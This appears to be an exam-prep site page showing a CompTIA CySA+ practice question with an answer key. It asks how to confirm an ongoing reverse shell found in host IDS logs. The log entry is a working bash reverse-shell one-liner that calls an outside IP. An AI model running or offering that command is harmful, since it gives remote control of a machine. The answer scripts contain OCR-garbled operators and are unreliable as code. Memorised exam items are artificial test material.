ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 194 - CS0-003 discussion

Report
Export

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A.
#!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo 'Malicious activity' Il echo 'OK'
Answers
A.
#!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo 'Malicious activity' Il echo 'OK'
B.
#!/bin/bash ps -fea | grep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
Answers
B.
#!/bin/bash ps -fea | grep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
C.
#!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
Answers
C.
#!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
D.
#!/bin/bash netstat -antp Igrep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
Answers
D.
#!/bin/bash netstat -antp Igrep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
Suggested answer: D

Explanation:

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints ''Malicious activity'' if there is, or ''OK'' otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.

Reference CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339. Reverse Shell Cheat Sheet, Bash section.

asked 02/10/2024
Abbas Maleki
24 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first